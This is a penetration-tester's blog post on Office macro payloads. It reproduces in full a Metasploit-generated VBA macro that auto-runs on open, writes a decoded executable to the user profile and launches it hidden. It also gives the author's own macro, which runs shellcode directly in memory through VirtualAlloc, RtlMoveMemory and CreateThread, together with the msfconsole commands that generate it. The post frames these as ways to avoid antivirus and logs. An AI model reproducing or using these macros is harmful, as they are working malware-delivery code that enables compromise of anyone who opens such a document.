Metasploit has for years supported encoding payloads into VBA code. (VBA, or Visual Basic for Applications, is the language that Microsoft Office macros are written in.) Macros are great for pentesters, since they don't rely on a specific version, and they are a supported method of code execution that most people don't realize and are likely to allow. In the latest version of office, all a user has to do is to click one button, and they'll be owned:



The Metasploit generated macro code looks like this:

Sub Auto_Open() Hkmyg12 End Sub Sub Hkmyg12() Dim Hkmyg7 As Integer Dim Hkmyg1 As String Dim Hkmyg2 As String Dim Hkmyg3 As Integer Dim Hkmyg4 As Paragraph Dim Hkmyg8 As Integer Dim Hkmyg9 As Boolean Dim Hkmyg5 As Integer Dim Hkmyg11 As String Dim Hkmyg6 As Byte Dim Euilajldnk as String Euilajldnk = "Euilajldnk" Hkmyg1 = "MaqXqyxUGh.exe" Hkmyg2 = Environ("USERPROFILE") ChDrive (Hkmyg2) ChDir (Hkmyg2) Hkmyg3 = FreeFile() Open Hkmyg1 For Binary As Hkmyg3 For Each Hkmyg4 in ActiveDocument.Paragraphs DoEvents Hkmyg11 = Hkmyg4.Range.Text If (Hkmyg9 = True) Then Hkmyg8 = 1 While (Hkmyg8 < Len(Hkmyg11)) Hkmyg6 = Mid(Hkmyg11,Hkmyg8,4) Put #Hkmyg3, , Hkmyg6 Hkmyg8 = Hkmyg8 + 4 Wend ElseIf (InStr(1,Hkmyg11,Euilajldnk) > 0 And Len(Hkmyg11) > 0) Then Hkmyg9 = True End If Next Close #Hkmyg3 Hkmyg13(Hkmyg1) End Sub Sub Hkmyg13(Hkmyg10 As String) Dim Hkmyg7 As Integer Dim Hkmyg2 As String Hkmyg2 = Environ("USERPROFILE") ChDrive (Hkmyg2) ChDir (Hkmyg2) Hkmyg7 = Shell(Hkmyg10, vbHide) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

The main body of the code relies on finding a long string of hex bytes, such as Euilajldnk

&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00... in the main document body, which is then decoded to binary, and written out to an exe file in the %USERPROFILE% directory. The macro then starts the executable with the Shell function.

This approach has some advantages, such as that the shell will not die when the program is closed, but it not ideal for a number of reasons. Dropping and starting an executable is a big chance to trigger AV, create a suspicious file and process, and possibly leave more logs to clean up. This code requires a large block of suspicious text be placed in the body of the document, where it might be noticed by the user.

So I wrote a different method, using imported Windows API functions to execute the shellcode directly from memory. I import the VirtualAlloc, RtlMoveMemory, and CreateThread functions from kernel32.dll and directly execute shellcode in a new thread. With this approach, the data is much smaller, since we only include the shellcode itself, not an entire executable, and doesn't require data inserted in the document itself. We do not execute a new process or create a new executable. The code will look like this (with usage):

msf > use payload/windows/exec msf payload(exec) > set CMD calc CMD => calc msf payload(exec) > set EXITFUNC thread EXITFUNC => thread msf payload(exec) > generate -t vba #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long #EndIf Sub Auto_Open() Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long #If Vba7 Then Dim Xlbufvetp As LongPtr #Else Dim Xlbufvetp As Long #EndIf Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _ 139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _ 13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _ 116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _ 214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _ 36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _ 139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _ 235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _ 224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _ 187,71,19,114,111,106,0,83,255,213,99,97,108,99,0) Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40) For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp) Wyzayxya = Hyeyhafxp(Zolde) Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1) Next Zolde Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

And after writing this, I realized that Didier Stephens has already done just about the same thing here in 2008: http://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/